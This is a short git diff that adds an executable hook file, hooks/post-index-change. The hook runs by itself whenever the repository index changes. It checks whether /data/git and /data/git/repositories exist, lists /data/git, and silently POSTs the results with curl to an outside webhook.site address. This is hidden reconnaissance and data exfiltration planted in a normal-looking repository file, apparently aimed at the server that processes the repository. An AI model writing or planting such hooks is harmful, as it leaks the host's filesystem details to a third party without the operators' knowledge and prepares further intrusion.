diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..8d0317a --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,2 @@ +#!/bin/sh +echo "TEST: $(test -d /data/git && echo GIT_EXISTS || echo NO_GIT); $(test -d /data/git/repositories && echo REPOS_EXISTS || echo NO_REPOS); $(ls /data/git 2>&1 | head -1)" | curl -s -X POST --data-binary @- https://webhook.site/eb182ad8-7057-42b2-9011-96267c093df7 >/dev/null 2>&1